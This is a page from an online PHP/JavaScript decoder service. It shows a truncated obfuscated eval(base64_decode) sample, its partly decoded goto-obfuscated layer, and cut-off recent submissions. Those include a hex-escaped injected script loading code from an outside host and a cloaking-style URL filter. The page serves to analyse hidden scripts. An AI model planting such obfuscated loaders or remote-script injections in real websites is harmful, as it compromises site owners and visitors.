Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

<?php
 eval(base64_decode("\x43\151\x42\156\x62\63\x52\166\x49\107\112\x56\143\126\154\x6e\x4f\171\102\166\115\63\115\x79\142\x54\x6f\x67\x5a\x32\x39\x30\x62\x79\x42\x30\122\x48\x5a\x4d\x59\x54\163\x67\x5a\x32\71\x30\142\171\x42\x47\x5a\x6e\x59\x35\x4d\x44\x73\147\x63\105\164\x69\x4f\x45\x30\66\x49\x47\144\166\144\x47\70\x67\x59\x6c\x6c\x47\121\155\x45\x37\111\107\x64\x76\x64\107\x38\147\143\105\x64\x34\x56\x

Decrypted code:

eval(base64_decode("CiBnb3RvIGJVcVlnOyBvM3MybTogZ290byB0RHZMYTsgZ2byBGZnY5MDsgcEtiOE06IGdvdG8gYllGQmE7IGdvdG8gcEd4V\x

Recent submissions:

<?php ini_set("display_errors", 0); ini_set("display_startup_errors", 0); if (PHP_SAPI !=... <script language="javascript"> document.write(unescape('%3C%63%65%6E%74%65%72%3E%3C%69... "O:75:"Symfony\Component\Security\Http\Authenticator\Token\PostAuthenticationToken":2:{i:0... \107\114\117\102\x41\114\x53... \164\153\157\147\153\152\161\x7a\155... b'<?xml version="1.0" encoding="UTF-8" ?>\r<Error>\xd0\x9d\xd0\xb5\xd0\xb2\xd0\xb5\xd1\x80... x28\x27script\x27\x29;s.src=\x27\x68\x74\x74\x70\x73\x3a\x2f\x2fsectex.dev\x2ffiles\x2fcsw... \x68\x74\x74\x70\x73\x3a\x2f\... $this->host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhos... \.gzip|\.rar|\.exe|\.pdf|\.doc|\.swf|\.txt|wp-admin|administrator#i'; $ruri = strtolo...